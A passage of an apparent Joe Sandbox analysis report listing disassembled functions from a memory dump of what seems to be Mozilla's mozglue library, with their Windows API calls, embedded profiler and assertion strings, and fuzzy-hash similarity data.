Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 6C6B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4F2E
moz_xmalloc.MOZGLUE ref: 6C6B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C6B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52E6
Sleep.KERNEL32(00000010), ref: 6C6B5481
free.MOZGLUE(?), ref: 6C6B5498

Strings

(, xrefs: 6C6B5250

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction ID: 4fb74f4d0ce92a9ec60c45ee6cd4a51cd83b2aaa59eff681b535a05e015bdd44
Opcode Fuzzy Hash: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction Fuzzy Hash: E1F1B271A19B408FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C6B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C6B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C6B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B707E

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B709C
LocalFree.KERNEL32(?), ref: 6C6B70AA

Strings

### ERROR: %s: %s, xrefs: 6C6B7087
(null), xrefs: 6C6B706A, 6C6B7083

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction ID: 50a75a8df81bdbf4fbc7667b6d45fd098a4b3753a183403824a3fb99ba76178c
Opcode Fuzzy Hash: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction Fuzzy Hash: 0501B9B1A00105AFDB005BA5DC8ADAF7BBCEF89255F010425FA05A3241D6717918CBA9

Function 6C679E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C679EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C679F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C679F34
LeaveCriticalSection.KERNEL32(?), ref: 6C67A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67A8B1, 6C67A8D4, 6C67A8EF

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction ID: c1827dcb3a360c7d673e696c750ffb37eae7622c7899b4964e0a10ca42f943cf
Opcode Fuzzy Hash: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction Fuzzy Hash: BA728D72A157118FD324CF28C540615FBE1BF89328F29CB6DE8698B792D335E841CB94

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
(root), xrefs: 6C6A354F
expected a Time entry, xrefs: 6C6A2E36

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C6B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6B9F3D
__aulldiv.LIBCMT ref: 6C6B9F77
__aullrem.LIBCMT ref: 6C6B9F8C
__aulldiv.LIBCMT ref: 6C6BA023

Strings

NaN, xrefs: 6C6B9EAB
-Infinity, xrefs: 6C6B9E60, 6C6B9E7B

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction ID: cec4c0ba687317817b06540f2b3d32a47266ace032b3340d36d16366b67eb18d
Opcode Fuzzy Hash: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction Fuzzy Hash: FDC1DE31E043188BDB14CFA8C8907DEB7B6FF85318F544529D40ABBB81DB70A959CB99

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6C65DBDD
0, xrefs: 6C65D852
, xrefs: 6C65DA88
8, xrefs: 6C65DC08
9, xrefs: 6C65DE7F
@, xrefs: 6C65DAF6
-, xrefs: 6C65D7DD
0, xrefs: 6C65DC7F

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C5740, 6C6C5703, 6C6C56C7, 6C6C9459, 6C6C9269, 6C6C921F, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C5740, 6C6C5703, 6C6C56C7, 6C6C9459, 6C6C9269, 6C6C921F, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C6BC431
ntdll.dll, xrefs: 6C6BC413

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 6C669F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C66A824
@, xrefs: 6C66A625
' , xrefs: 6C66A3D8
0, xrefs: 6C66A100
0, xrefs: 6C66AB22
9, xrefs: 6C66A5D6

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction ID: b43a99b024e746f77dff5b3497ef81521bc4a43fda2ff7c323182478ba13ad1a
Opcode Fuzzy Hash: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction Fuzzy Hash: 4F82C2315093318BD710CF1BC4902AEB7E1EB85718F658A2EE8D557E92D335E885CB8B

Function 6C65BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C65C1CB
__aulldiv.LIBCMT ref: 6C65C24C
__aulldiv.LIBCMT ref: 6C65C348
__aullrem.LIBCMT ref: 6C65C365
__aulldiv.LIBCMT ref: 6C65C37D

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca4ed2d6a03da8a3f704beac6cc95ae7f98496a33d9bce822fe9f562690d7ed6
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18323632B046119FC718DE2CC89065ABBE6AFC9310F59866DE896CB395D730ED15CB90

Function 6C6A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A7A93

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A7AA1

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C6A7B31

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction ID: eb805a557cc71c73acb2cf890751559337e9d58a37693480d16937fe35f10b65
Opcode Fuzzy Hash: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction Fuzzy Hash: 01B17C356083808BCB18CEA4C4507AFB7E2ABC5318F154A1DE99567795DB70ED0BCB8A

Function 6C678850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C6797EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C679813, 6C67985D, 6C679878, 6C679CEB

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction ID: 6d98e4cdb4ba5d77c64b6df662f6a3e74dd51cc53f5a203ab7bd10060c00b1c9
Opcode Fuzzy Hash: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction Fuzzy Hash: E6D2BF71A157018FD728CF28C590715BBE1BF85328F29CB6DD86A8B7A5C731E841CB98

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 6C6BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C68FE3F), ref: 6C6BB720
RtlNtStatusToDosError.NTDLL ref: 6C6BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C68FE3F), ref: 6C6BB760

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction ID: 5b42e74288275a96b765d79dbabcdf8626d36713d07171290019033c0f3b5b47
Opcode Fuzzy Hash: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction Fuzzy Hash: 1BF0A4B0A0020CAEDF019AA28CC4BDE77BCDB44319F105139D511715C0D77495DCC76D

Function 6C674640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C674777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C675585, 6C6755A8, 6C6755C3, 6C675624

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction ID: e152d09da89ed65f54dddbc3e1f9f5dc8f98e24aebc063a76cc89704db909104
Opcode Fuzzy Hash: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction Fuzzy Hash: 58B2DE71A057018FD328CF18C584725FBE2BFC5324B29CBADE4698B6A5D771E841CB98

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C6C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C79C0, 6C6C79FB, 6C6C7E0B, 6C6C7796, 6C6C793C, 6C6C7B0B

Memory Dump Source

